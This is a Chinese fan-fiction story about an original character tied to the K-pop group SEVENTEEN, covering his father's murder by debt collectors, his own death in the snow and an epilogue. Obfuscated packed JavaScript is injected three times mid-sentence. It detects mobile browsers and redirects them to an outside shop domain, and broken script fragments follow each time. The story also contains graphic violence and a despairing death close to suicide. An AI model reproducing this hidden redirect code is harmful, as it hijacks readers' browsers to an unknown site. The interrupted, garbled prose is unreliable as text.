他站在原地，雪落在脚边，很快积了一层。 他最终没有回家，也没有去便利店。他在街边的电话亭给店长打了个电话请假，然后他去了银行，将账户里所有的钱，包括他原本打算用作启动资金的那部分取了出来。 厚厚一沓，数额依然少得可怜，但或许够母亲暂时安顿和最基本的生活。他把钱仔细分成几份，用不同的信封装好，写上简单的用途说明。 12. 崔韩率 这是他能为母亲做的最后一件事了。 做完这些，已是傍晚。雪又下了起来，今年的雪怎么下得这么频繁？他犹豫片刻，还是朝着家的方向走去。 决定退出SEVENTEEN只是第一步，接下来，他要带着在贤的期盼，把有些东西，在2014年做个了结，比如父亲那边无尽的债务。 他想离开前最后跟父亲说清楚，钱只有这些，拿去还债也好，自己跑路也好，从此两不相欠。 金侑一转身，汇入街道上匆匆的人流。雪花落在他的睫毛上，很快融化，像是冰冷的泪，他穿着棉服就这样双手插兜漫无目的地走。 街上到处都是成双成对的情侣，捧着鲜花和礼物，笑声飘在冬夜的空气里。他拉了拉衣领，低头匆匆走过。 不知走了多久，他发现自己走到了家附近的那条巷子口。远远望去，那栋旧楼一片漆黑，只有三楼自家窗口，透出一点微弱的光，大概是母亲出门前忘了关灯。 也好。 他也不想回去面对那些个疯癫呓语。 金侑一转身，打算去24小时营业的漫画店熬一夜。刚走出几步，巷子深处突然传来急促的脚步声和粗重的喘息，还有压低的咒骂。 “跑？你再跑啊！金成浩！今天不把钱吐出来，老子卸你一条腿！” 金侑一浑身一僵。他下意识地闪身躲进巷口一个堆满废弃纸箱的角落，屏住呼吸。 杂乱的脚步声逼近。三个人影踉跄着冲出巷子，来到路灯下。两个穿着黑色皮衣，满脸横肉的男人，一左一右架着中间那个几乎瘫软的人。 那人是他父亲，金成浩。 金成浩的样子惨不忍睹。脸上布满青紫和血污，一只眼睛肿得睁不开，鼻子歪在一边，还在汩汩冒血。 嘴角干涩到裂开，唾沫混着血丝往下淌。他身上的旧棉袄被扯破了，露出里面脏污的毛衣。两条腿拖在地上，显然已经站不稳。 “大……大哥……再宽限几天……就几天……”金成浩的声音破碎不堪，带着哭腔，“我儿子……我儿子有钱……他马上就拿钱来了……” “你儿子？”其中一个刀疤脸的男人嗤笑，用力揪住金成浩的头发，迫使他抬起头，“你儿子在哪儿呢？嗯？叫他出来啊！看看他会不会管你这个老赌鬼！” 金成浩痛苦地呻吟着，浑浊的眼睛在雪夜中茫然四顾，最终定格在巷口那个堆满纸箱的角落，而那恰好是金侑一藏身的地方。 两人的目光，隔着飞舞的雪花和昏暗的光线，撞在一起。 金成浩的眼睛骤然睁大，那里面是一种溺水者抓住浮木般的疯狂光芒。 他猛地挣扎起来，用尽力气嘶喊：“侑一！儿子！救我！救救爸！给他们钱！你快给他们钱啊！” 刀疤脸和另一个男人立刻顺着他的视线看向巷口。 金侑一的心脏像被灌满了液氮。 他想逃，双腿却像钉在地上。 纸箱的缝隙里，他能清晰看到父亲那张被打得变形又涕泪横流的脸，看到他眼里那种只会索取压榨的贪婪与恐惧。 “哟，还真在啊。”刀疤脸咧嘴笑了，露出一口黄牙，“小子，出来。你爸说你有钱？” 金侑一没动。雪落在他睫毛上，融化成冰冷的水珠滑下来。 “不出来？”刀疤脸失去了耐心，他猛地抬脚，狠狠踹在金成浩的膝盖窝。 “咔嚓。” 清脆的骨裂声在寂静的雪夜里异常刺耳。金成浩发出一声不似人声的惨嚎，整个人像被抽掉骨头的肉袋，软软地跪倒在地，抱着扭曲的右腿，身体痉挛般抖动。 “爸——”金侑一喉咙里挤出一声破碎的音节，他自己都没意识到。 “有钱吗？”刀疤脸踩住金成浩那条断腿，缓缓用力。 金成浩的惨叫声更加凄厉，他在地上翻滚，却逃不开那只脚。“有……有……侑一！给他！快给他啊！爸要死了！真的要死了！” 另一个男人从腰间抽出一根短棍，在手里掂了掂，朝巷口走来。 金侑一后退一步，背抵住冰冷的墙壁。他想跑，但身体不听使唤。 他想喊，但发不出声音。他只能眼睁睁看着那个男人越走越近，看着父亲在雪地里痛苦地翻滚，哀嚎着求饶。 “看来是不见棺材不掉泪。”刀疤脸啐了一口，松开脚，对同伴使了个眼色。 拿短棍的男人点头，转身走回金成浩身边。他没有再用棍子，而是蹲下身，双手掐住了金成浩的脖子。 “唔……呃……”金成浩的惨叫变成了窒息的嗬嗬声。他双手拼命抓挠着男人的手臂，双腿在雪地上无力地蹬踹，扬起一片雪沫。 他的脸迅速涨成紫红色，眼球凸出，死死瞪着巷口的方向，瞪着自己的儿子。 那眼神里有什么？是怨恨？是乞求？还是不解？金侑一分辨不清。 他只能看到父亲张大的嘴里，舌头慢慢吐出来，看到那双曾经扇过他无数次耳光，揪过他头发的手，在空中徒劳地挥舞，然后力道渐弱。 时间变得很慢，慢到每一帧都像刻进视网膜里。雪落在父亲逐渐停止挣扎的身体上，落在他凸出的眼球上，落在他吐出的舌头上。 掐脖子的男人面无表情，手臂肌肉绷紧。刀疤脸点了一根烟，靠在路灯杆上，冷冷看着。 终于，金成浩的手垂落下来，砸在雪地上，发出轻微的闷响。他最后一蹬腿，然后彻底不动了。 紫红色的脸慢慢变成死灰，眼睛仍然睁着，直直望着夜空，望着那些无声飘落的雪花。 掐脖子的男人松开手，他站起身，活动了一下手腕。金成浩的尸体软瘫在雪地里，脖子上一圈清晰的青黑指印。 “死了。”男人说，语气平淡得像在说“雪停了”。 刀疤脸吸了口烟，把烟蒂扔在尸体旁边。“晦气。钱呢？” 两人开始搜金成浩的身，翻遍所有口袋，只找出几个硬币和半包皱巴巴的廉价烟。刀疤脸骂了句脏话，踢了尸体一脚。“穷鬼。” 他们又看向巷口。金侑一还站在那里，一动不动，像尊雪雕。 刀疤脸盯着他看了几秒，忽然笑了：“小子，替你爸收尸吧。记得，他还欠我们一个亿。父债子偿，天经地义。我们会再来找你的。” 说完，两人转身，快步消失在巷子另一头的黑暗里。 雪还在下。世界安静得只剩下雪花扑簌落地的声音。 金侑一站在原地，看着路灯下那逐渐被雪覆盖的尸体。 父亲死了。 在他眼前，被人活活打死了。 他应该感到什么？解脱？悲伤？恐惧？ 什么都没有。 胸腔里空荡荡的，冷风灌进去，在空腔里回旋，发出呜呜的悲鸣。 他慢慢走过去，脚步在积雪上留下深深的印子。走到尸体旁边，蹲下。 金成浩的脸近在咫尺。死灰色的皮肤，凝固的惊恐表情，微张的嘴里能看到断裂的牙齿和凝固的血块。 金侑一伸出手，指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976270|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖着，碰了碰父亲的脸颊。又冷又僵，像一块冻肉。 这就是结局。 这个给过他生命，也给过他无数噩梦的男人，最终像条野狗一样，死在了冬夜的雪地里，死在讨债人的手上，死在自己儿子的眼前。 没有壮烈，没有尊严，只有丑陋和卑微。 金侑一收回手，在裤子上擦了擦。他站起身，低头看着父亲的尸体。雪越下越大，很快就在尸体上积了薄薄一层，仿佛要将他温柔地掩埋。 他该做什么？报警？叫救护车？还是…… 金侑一愣住。 没有人了。他发现，才二十的年纪，他就剩他自己了。 “好好的。” 弟弟的声音又在耳边响起。 那么轻，那么清晰。 金侑一忽然笑了。笑声很轻，从喉咙里挤出来，干涩得像枯叶摩擦。笑着笑着，眼泪毫无预兆地涌出来，滚烫地滑过冰冷的脸颊，滴落在雪地上，融出一个个小坑。 好好的？要怎么好好的？ 弟弟死了。父亲死在他眼前。母亲疯了。家没了。债台高筑。梦想……那他妈从来都只是海市蜃楼。 他还能怎么“好好的”？ 他转身，踉跄着试图离开几步。可甚至没有离开十米，他停了下来，蹲在地上。 报警是没有用的。本就是他们欠债不还，那些戴帽子的人只需要几袋沉甸甸的东西就能打发走，哪有什么正义可言。 金侑一终究疯了。 他死抓着自己的头皮，呢喃着拽断了大把的发丝。随后站起来，不知道从哪儿找来一把铁锹，双眼无神地背起他的“父亲”，一点点往小区后的山林里走。 这个家里，他本是最恨金成浩的那个。 他恨男人赌博成瘾，父债子偿；恨在贤活的时候几乎天天都辱骂他，打他；更狠在贤死后这个名为“父亲”的人还要抢走他的“死人钱”。 可金成浩就这样被打死了。 在他的眼皮底下。 是他亲眼看见他一点点死掉的。 死神带走了最好欺负的金在贤，又带走了最难扳倒的金成浩。留下了金侑一这个人不人，鬼不鬼的懦夫。 在贤去世的时候，金侑一在想什么？ “金成浩可以在任何时候死。” “唯一唯一，就是不能当着他金侑一的面去死。” 所以，他不仅可怜地下葬了在贤，现在又要可悲地埋掉他唤了二十年的父亲。 圣诞节那天，金侑一没有回那个所谓的“家”，也没有去P社的练习室。 他在便利店里买了一些在贤最喜欢吃的饭团还有一包烟，然后坐上深夜的地铁，辗转来到了麻浦区。 马罗尼埃公园。 即使在这样的雪夜，依然有一些零星的行人和依偎的情侣。高大的树木枝丫上积满了雪，像盛开的银色花。 路灯在雪幕中晕开一团团昏黄的光晕，勉强照亮覆雪的小径和长椅。世界安静得只剩下雪落的声音，簌簌又簌簌，仿佛天地间唯一的耳语。 金侑一找到公园深处最僻静的一张长椅，拂去上面的积雪，坐了下来。长椅是铁质的，冰冷透过单薄的裤子直刺上来。 他不在乎。他从背包里拿出面包，慢慢地，一口一口地吃着。面包很干，很冷，噎在喉咙里，需要用冰水费力地送下去。 他吃得很认真，像是在完成一项重要的仪式。吃完最后一口，他拧紧水瓶盖，把包装纸仔细叠好，放进背包侧袋。 13. 李璨 然后，他靠在冰冷的长椅背上，仰着头望向夜空。雪从漆黑的天幕中不断飘落，旋转着落在他的身上，一点一点带走体温。 男人掏出买来的那包烟，拿出一根默默点燃。装着大人的模样，却在刚挪到嘴边时，就因为烟熏味，燎到喉咙而作呕。 他想起很多事。 想起弟弟在贤亮晶晶的眼睛和细小的伤痕，想起还没赌债的父亲和没入教会的母亲，想起便利店昏黄的灯光和烤肉店油腻的后厨，想起P社练习室镜子里那个眼神执拗又渐渐死寂的自己…… 最后，定格在脑海里的，是墓碑上那张方方正正的照片，在贤笑得最是腼腆。 “在贤啊，”他对着漫天飞雪，无声地翕动嘴唇，“你也看到了，哥真的做不到好好的。” “哥太累了走不动了。” “对不起……最后还是没能给你买大房子，来世上十二年也没让你过上一天好日子……” “在贤，哥最对不起你。” “最对不起你了。” “算了，说这些有什么用。” “在贤。我要死了。” 他缓缓闭上眼睛。雪花落在他的眼皮上，轻柔得像一个冰冷的吻。 身体的感觉正在一点点抽离，先是四肢末端的刺痛和麻木，然后是躯干逐渐沉重的冰冷，最后，连心跳的声音似乎都变得遥远而缓慢。 意识像浸入冰水的墨滴，涣散无际。耳边似乎又响起了练习室的音乐，还有少年们模糊的说笑声，但很快这些声音也被温柔的雪落声覆盖。 世界彻底安静，只剩下雪，无边无际的雪，将他包裹的雪。 金侑一想想，从作为出道预备役到今天的圣诞节，才过去13天。 “哥，你说不是说好了会出道吗？” 金侑一似乎听见在贤在耳边的嗔怪。 男人顿了顿，挤出一个比苦还难看的笑容：“Unie可以。但我是金侑一。” 你看，他早说了。 他金侑一做不成大事。 最后一点微弱的意识，像残败的火苗，轻轻摇曳了一下，随后彻底熄灭在首尔这个寻常冬夜的雪幕之下。 公园恢复了寂静。只有路灯昏黄的光，透过不断飘落的雪，无声地照在那张覆雪的长椅。远处城市的霓虹依旧闪烁，车流依旧不息，生活依旧在巨大的齿轮带动下滚滚向前。 雪下了整整一夜，又在黎明前悄无声息地停了。 首尔从一片混沌的苍白中缓缓苏醒，阳光刺破云层，照射在积雪上，反射出耀眼的光芒。 扫雪车和早起的行人开始活动，碾过那些蓬松的洁白，留下污浊的痕迹。城市巨大的呼吸声重新响起，盖过了冬夜里所有细微的呜咽。 马罗尼埃公园那张覆雪的长椅，在天光下显露出来。积雪勾勒出一个模糊的人形轮廓，像一件被遗弃的冬日雕塑。 最早发现的是公园的清洁工，一个裹着厚重棉衣，满脸冻疮的中年女人。她起初以为是哪个醉汉或流浪汉，嘟囔着咒骂了一句，准备上前驱赶。 但当她走近，用扫帚柄试探着拨开那人形头部位置的积雪时，她看到了一张年轻的脸，双眼痛苦地紧闭着，覆盖在睫毛和眉毛上的冰晶随风抖落。 _ 雪停了，天光惨白地照进车窗。 从近郊拍摄地返回首尔的路上，崔韩率觉得自己的头越来越沉，眼皮如同灌了铅。车里暖气开得很足，他却一阵阵发冷，喉咙干得生疼。 旁边的夫胜宽正兴奋地和李灿回看拍摄时的花絮，声音在他耳朵里忽远忽近，变成嗡嗡的杂音。 “哇大发，这次真的太好玩了。” “侑一哥因为家里有事不来录制真的可惜，我们出道前要不私下组织再去一次吧？” “可以啊可以！说起来这次录制有三天呢！好想我们侑一哥。” “韩率啊，你脸色好差，没事吧？”坐在前排的尹净汉回过头，微微蹙眉。 崔韩率勉强摇了摇头，想说自己没事，却只发出一声含糊的气音。 他靠在车窗上，冰凉的玻璃贴着滚烫的额头，带来一丝短暂的清醒。 车没有直接回公司宿舍，而是拐向了麻浦区。经纪人说他烧得不轻，得先去附近一家相熟的医院看看，免得耽误后面的行程。 崔韩率迷迷糊糊地被搀下车，冷风一激，他打了个寒战，腿软得几乎站不住。经纪人让他先在医院门口的长椅上坐着等挂号，自己匆匆进去找人。 长椅正对着马路对面，是那个有名的马罗尼埃公园。积雪未化，公园里一片寂静的银白，几个清洁工正在清扫小径。崔韩率昏昏沉沉地望着，视线难以聚焦。 突然，公园深处传来一声短促而尖利的惊叫打破了宁静。那叫声充满惊恐，引得附近零星的行人都望了过去。 一个穿着橙色环卫服的中年女人连滚带爬地从一条覆雪的长椅旁跑开，手里的扫帚都丢了，指着长椅方向，语无伦次地喊着什么。 出于一种模糊的本能或者是高烧带来的混沌，崔韩率撑起沉重的身体，摇晃着穿过马路朝公园里走去。 寒风刮在脸上，却压不住体内一阵高过一阵的灼热。他头晕目眩，深一脚浅一脚地踩在积雪上，朝着那聚集起一点人围观的角落靠近。 人群低声议论着，指指点点。崔韩率挤到前面，视线越过人们的肩膀，勉强投向那张长椅。 雪…… 好多雪…… 覆盖着一个蜷缩的人形轮廓。一点刺目的暗红色从纯白中渗出来，甚至已经凝固冻结，像雪地里绽开后又枯萎的诡异花朵。是血吗？ 还是什么…… 他还没来得及看清更多细节，甚至没来得及思考那意味着什么，一阵剧烈的眩晕猛地攫住了他。世界天旋地转，耳畔的议论声骤然拉远，层层扭曲。 滚烫的体温和冰冷的空气在他体内激烈交战，最后，铺天盖地的黑暗瞬间吞没了他所有的感官。 他软软地向前倒去，在周围人的惊呼声中，失去了意识。 …… 崔韩率再醒来时，已经躺在医院的病床上，手背上挂着点滴。经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976271|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪人守在一旁，见他睁眼，松了口气。“醒了？烧到快四十度，急性流感。医生说要住院观察两天。” 他喉咙干痛，发不出声音，只能眨了眨眼。记忆有些断片，只记得很晕，很冷，然后……公园？雪？好像有什么很吵。但具体的画面模糊不清，像隔着一层浓雾。 很快，他发现生病的并不止他一个。 先是同车的夫胜宽和李灿也开始咳嗽发烧，接着像是连锁反应，SEVENTEEN的成员一个接一个倒下了。 症状都差不多，高烧畏寒，浑身酸胀，喉咙肿痛。医生诊断是传染性很强的流行性感冒，建议集中隔离观察，以免扩散。 于是，出道在即的SEVENTEEN，整整十三个成员，史无前例地集体住进了同一家医院的隔离病区。 一时间，原本忙碌不堪的出道前日程被迫全面暂停，公司上下焦头烂额。 病房里大家都很疲惫，高烧消耗着体力，也搅乱了思维。很多时候，他们只是昏昏沉沉地躺着，靠在床头，听着窗外呼啸的风声。 “真是……倒霉透了……”权纯永哑着嗓子，有气无力地说，“出道showcase怎么办……” “公司会调整的，先养病。”崔胜徹作为队长，即使自己也烧得脸色潮红，还是强打精神安抚大家，但语气里也掩不住深深的疲惫和焦虑。 李知勋抱着笔记本电脑靠在床上，试图修改编曲，但敲几下键盘就忍不住咳嗽，屏幕上的音符晃成一片模糊。 尹净汉望着天花板，眼神有些空，不知道在想什么。 高烧像是某种强力的漂白剂，不仅侵蚀着他们的身体，也微妙地冲刷着记忆里某些本就摇摇欲坠的痕迹。 练习室里依旧忙碌，药箱还在老地方，但没人记得里面曾经常备着某种胃药和创可贴是为什么。 中国line遇到语言问题，会自然地向经纪人求助。李灿肚子疼时，会自己去接热水。 时间在出道的巨大压力下飞逝。出道实录播出，镜头里再也没有那个需要被刻意剪掉的背影。观众们看到的，是那个永远熠熠生辉的SEVENTEEN。 他们的梦想如同聚光灯下的钻石，每个切面都反射出夺目的光彩。 SEVENTEEN十三个人，紧紧相依，步履不停地向前奔跑，奔向那片属于他们自己广阔而灼热的光明。 身后长长的影子里，所有来不及开始就已结束的故事，所有未被正式命名就已消散的羁绊，都像那个冬天最后一场无人见证的雪，渗入大地，了无痕迹。 麻浦区的马罗尼埃公园，雪落雪停，新芽抽出，又一度四季轮回。那张长椅被无数人坐过，留下不同的痕迹。 再没有人记得，某个冬夜，曾有一个少年在这里长眠。 _ “所以，哥说的‘侑一’到底是什么？” Samuel望向正发呆的李硕岷。 “一块朽木。” “‘朽木’又是什么？” “就是朽木。” （正文完） 14. 番外[番外] 李硕岷第一次看见金侑一，是在镜子里。 那天舞蹈课强度很大，他累得瘫在练习室角落，对着那面巨大的镜墙，大口喘气。 镜面映出身后凌乱的练习室，光线有些暗，随后，一个身影悄无声息地出现在镜子边缘。 是那个新来的后勤工。李硕岷记得听人提过一句，好像叫金侑一，是志勋哥介绍进来的。 那人窝着扫把，缩在门口那边的墙角，离得远远的，低着头，正用一块抹布慢吞吞地擦拭着地板上一小块污渍。 他的动作很轻，几乎不发出声音，整个人像是要缩进那件过于宽大的深蓝色衬衫里。 李硕岷起初没在意，只是随意地看着镜子里的倒影。但看着看着，他的目光不自觉地被吸引了过去。 那人擦得很细致，还有些过分认真。一块巴掌大的污渍，他来回擦了好几遍，直到地板光可鉴人。 然后他停下手，没有立刻去擦下一块，而是就那么蹲着，微微抬起头，视线？似乎也落在镜子里。 不，不是看镜子，李硕岷很快发现。那人的目光是散的，没有焦点，只是恰好对着镜子的方向。 他的眼神很空，像蒙着一层灰扑扑的雾，什么情绪也看不见，只有一片沉沉的疲惫，疲惫到近乎麻木。 但在这麻木之下，李硕岷恍惚间觉得，好像有什么东西在很深很深的地方，极其微弱地烧着，像冻土层下将熄未熄的一点火星，倔强，却又绝望。 李硕岷自己也累，累到骨头缝都发酸。可看着镜子里那个几乎要与阴影融为一体的身影，他忽然觉得自己的累，好像有点不一样。 他的累是热的，是汗流浃背，肌肉酸胀后带着成就感的透支。 而那个人的累，是冷的，是从内里透出来的，仿佛整个灵魂都被掏空，只剩下这具躯壳在执行一些毫无意义的重复动作。 是因为工作太辛苦了吗？ 李硕岷止不住去想。 镜子里，金侑一似乎察觉到了他的目光，那人极快地垂下眼，重新拿起扫把，像个受惊的蜗牛，慢慢挪到了更远的角落，彻底退出了镜面映照的范围。 李硕岷收回视线，心里有种说不出的感觉。 后来，李硕岷开始不自觉地留意那个人。练习室的镜子太大了，几乎能照出整个房间。当李硕岷对着镜子抠动作，一点点调整表情时，眼角的余光总能看到那个安静移动的身影。 金侑一很少说话，几乎不跟人对视。 他总是最早来，最晚走，把练习室打扫得一尘不染，连镜子边角的指纹都会仔细擦掉。 他会在大家休息时，默默把散落的水瓶归位，会把摔倒时碰歪的把杆轻轻扶正。 有一次，李硕岷的舞鞋带子断了，正烦躁不安，一抬头，发现一双半旧的备用舞鞋洗得很干净地被轻轻放在了他旁边不远的地上。 李硕岷穿上那双鞋，尺码稍大，但能穿。他看向镜子，金侑一正背对着他擦拭窗台。 午后的阳光斜射进来，给他的轮廓镀上一层很淡的金边，但整个人依旧像一道随时会消散的炊烟。 李硕岷有时候会想，这个人每天看着他们练习，看着他们为了梦想拼尽全力，甚至频繁争吵，无声哭泣，挣扎爬起，心里会想什么？会羡慕吗？会觉得吵闹吗？还是根本无所谓？ 他注意到金侑一偶尔会停下手中的活，就那么站着，看向正在练习的他们。不是看某个人，而是看着整个画面。 他的眼神依旧是空的，但李硕岷总觉得，在那片空茫之下，有什么东西在非常非常缓慢地流淌。 可能是回忆，可能是渴望，也可能只是一种纯粹的汲取，像快要冻僵的人，本能地靠近一团篝火，即使知道那温暖不属于自己。 这种观察成了李硕岷疲惫练习中的一种隐秘习惯。他喜欢通过镜子，观察那个观察他们的人。 他甚至开始下意识地模仿金侑一那种极度收敛的存在感，在不需要表现的时候，把自己也缩成一道安静的影子。 他发现自己能理解那种躲在角落，用目光触摸世界的安全感，虽然是某种意义上清醒的自虐。 所以那天，当权纯永因为又一次团体配合失误而懊恼到口不择言，冲着角落里依旧在加练的金侑一吼出“哥！你要是再这样不用尽全力，我们SEVENTEEN以后要是不成功，责任都在你！”的时候，李硕岷的心脏猛地揪了一下。 话太重了。 太决绝了。 像一把生锈的钝刀，胡乱劈砍。 练习室里瞬间安静下来。所有人都看向金侑一。他正试图做一个旋转接跳跃的动作，听到这句话，身体明显僵住，停在半途，像个突然断了线的木偶。 汗水顺着他苍白的脸颊滑落，他的嘴唇抿得死紧，手指无意识地蜷缩起来。 李硕岷透过镜子，看清了金侑一那一刻的表情。不是愤怒，不是委屈，甚至没有惊讶。他的面无表情，仿佛这句话仅仅是终于落下来的那一早就悬在头顶的靴子。 那空茫的眼神里，极快地闪过一丝近乎认命的灰败，然后迅速被更深的疲惫覆盖。 金侑一垂下头，没看任何人，也没反驳，只是慢慢地，继续把那个没做完的动作做完，然后默默走到墙边，拿起自己的水瓶，小口喝着，背对着所有人。 李硕岷的呼吸滞住了。 不是练不好。 侑一哥明明唱歌的时候，偶尔流露出的那些片段，音色里有种很特别的东西，像被砂纸磨过的丝绸，粗粝下藏着罕见的柔软和韧性。 他不是没天赋。他真的压力太大了。累到连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976272|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋都像是沉重的负担，累到“用尽全力”这个词本身，在他身上都显得那么残忍。 为什么纯永哥要说那样的话？ 李硕岷心里涌起一股近乎焦躁的念头。 他觉得不该是这样。 金侑一缩在角落的样子，他擦拭地板时过分认真的样子，他默默递来舞鞋的样子，他在镜子里那空茫又仿佛燃烧着什么的眼神……这些碎片拼凑起来的，不该是被这样轻易否定的存在。 可他说不出口。 练习室的低压气氛，队长崔胜澈紧锁的眉头，还有其他成员或尴尬或烦躁的表情，都让他把到了嘴边的话咽了回去。 他只是看着镜子里的金侑一，看着那道背对着所有人的背影，感觉心里某个地方，也跟着一点点冷下去。 那天之后，金侑一似乎更沉默了。 他依旧准时出现，完成所有工作，但在练习生们练习时，他不再有任何停留，做完清洁就立刻离开，像个真正的幽灵。 李硕岷偶尔从镜子里捕捉到他的身影，也只是匆匆一瞥，快得像错觉。 再然后，就是那场席卷了所有人的流感。 社长因为此事，把原本年初就出道的计划，硬生生推迟到五月。 那期间李硕岷病得昏昏沉沉，感觉身体和意识都像浸在滚烫的泥沼里。 他做了很多梦，交织在一起十分混乱。如今年岁已久，叫他如何也想不起来。 等他终于退烧，拖着虚弱的身体回到练习室，一切又恢复了原样。镜子光洁如新，地板一尘不染，药箱放在老地方。 金侑一不见了。 起初李硕岷没太在意，以为是对方请了病假或者正常调班。但一天，两天，一周，一个月……金侑一真的再没出现过。 他问过负责后勤的室长，问其他成员，甚至问过社长，大家反应都差不多，有点茫然，然后说：“哦？金侑一吗？有这个人吗？” 没人记得金侑一。 李硕岷站在练习室中央，对着那面巨大的镜子。阳光照进来，明亮得有些刺眼。 这次镜子里只有他自己。 一切都在往好的方向发展。 练习继续，出道在即，梦想触手可及。 一场高烧，好像烧出了什么。 不仅仅是李硕岷自己，还有曾经存在于镜面反射中最沉默的共情。 金侑一这个人，就像他最初出现在李硕岷视野里那样，悄无声息地来，又悄无声息地走了。 没有告别，没有悲伤，仿佛只是李硕岷病中恍惚时，看到的一场过于真实的梦境。 最后，就像雪融化在暖阳下，了无痕迹。 李硕岷比任何人都要清楚“朽木”意味着什么——来年春雨，枝上生新。 （全文完）